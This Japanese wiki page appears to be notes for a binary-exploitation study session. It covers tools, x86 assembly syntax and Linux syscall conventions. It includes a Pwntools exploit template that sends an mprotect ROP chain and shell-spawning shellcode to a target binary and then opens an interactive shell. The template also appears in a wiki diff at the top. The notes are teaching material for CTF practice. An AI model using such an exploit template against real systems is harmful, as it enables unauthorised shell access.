サイズ: 4787
コメント:
|
サイズ: 5150
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 90: | 行 90: |
context(arch = "i386", os = "linux") | context(arch = 'i386', os = 'linux') # context(arch = "amd64", os = "linux") |
行 92: | 行 93: |
conn = process("./baby1") | conn = process("./example") # conn = remote("example.com", 10000) ## ROPを構成 rop = "" rop += p32(0x8048330) # mprotect rop += p32(0x804855d) # skip 3 words rop += p32(0x20000000) # buf ... ## シェルコードをアセンブル shellcode = asm(shellcraft.sh()) ## ログ表示 p = log.waitfor("Pwning") |
行 95: | 行 107: |
## シェルコードをアセンブル s = asm(shellcraft.sh()) ## シェルコードを送信 conn.send(s) |
## エクスプロイトを送信 conn.send(rop) time.sleep(0.5) conn.send(shellcode) ## ログ表示 p.success("OK") |
Pwn勉強会(Stack day 1)
Tools
- Disassembler
- udcli / ndisasm
- objdump
- METASM / Hopper / IDA Pro
- Assembler
- nasm
- Pwntools
- METASM?
- Debugger
- gdb-peda
- Pwn toolkit
- Pwntools
- Ruby系でなにか
Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.
x86 assembly
- Intel記法
- データはオペランドの右から左に流れる
- 比較命令のオペランドの順序が命令名と一致しているためわかりやすい
例
14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14>
AT&T記法
- Intel記法のオペランドと逆順
例
14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14>
System call
- システムコールとは
- プログラムがカーネルとやりとりする一元化された窓口
- プログラムの動作権限
- ユーザモード
- 普通のプログラムが動作
- 基本的にプロセスのメモリ内で計算しかできない.
- それ以外のことをするためにはシステムコールを呼ぶ
- カーネルモード
- カーネルが動作
- 任意の操作が可能
- ユーザモード
How to call System calls
システムコールの呼び出し方
- x86
- int 0x80
- INTerrupt (ソフトウェア割り込み命令)
- システムコール番号: eax
- 引数: ebx, ecx, edx, esi, edi, ebp
- int 0x80
- x86-64
- syscall命令
- システムコール番号: rax
- 引数: rdi, rsi, rdx, r10, r8, r9
arch |
instruction |
syscall # |
retval |
arg1 |
arg2 |
arg3 |
arg4 |
arg5 |
arg6 |
x86 |
int 0x80 |
eax |
eax |
ebx |
ecx |
edx |
esi |
edi |
ebp |
x86-64 |
syscall |
rax |
rax |
rdi |
rsi |
rdx |
r10 |
r8 |
r9 |
システムコール番号
system call |
x86 |
x86-64 |
execve |
11 |
59 |
open |
5 |
2 |
read |
3 |
0 |
write |
4 |
1 |
参考文献
- /usr/include/x86_64-linux-gnu/asm/unistd_32.h
- /usr/include/x86_64-linux-gnu/asm/unistd_64.h
Pwntools
1 # -*- coding: utf-8 -*-
2 from pwn import *
3 ## exploit対象のアーキテクチャ
4 context(arch = 'i386', os = 'linux')
5 # context(arch = "amd64", os = "linux")
6 ## 攻撃のサーバに接続
7 conn = process("./example")
8 # conn = remote("example.com", 10000)
9 ## ROPを構成
10 rop = ""
11 rop += p32(0x8048330) # mprotect
12 rop += p32(0x804855d) # skip 3 words
13 rop += p32(0x20000000) # buf
14 ...
15 ## シェルコードをアセンブル
16 shellcode = asm(shellcraft.sh())
17 ## ログ表示
18 p = log.waitfor("Pwning")
19 ## ": "を受信するまでrecv
20 conn.recvuntil(": ")
21 ## エクスプロイトを送信
22 conn.send(rop)
23 time.sleep(0.5)
24 conn.send(shellcode)
25 ## ログ表示
26 p.success("OK")
27 ## コンソールの入出力を攻撃対象に接続
28 conn.interactive()
Shellcode
Shellcode(no /bin/sh)
- chroot環境
- /bin/shが無いのでopen, read, writeを自分で行う
x86/x86-64 ABI
Return-to-plt
ASLR
ASLRについて説明
Return-to-libc
Return-to-plt revisited(x86-64) with tiny ROP
ROP
実践
適当な問題を探す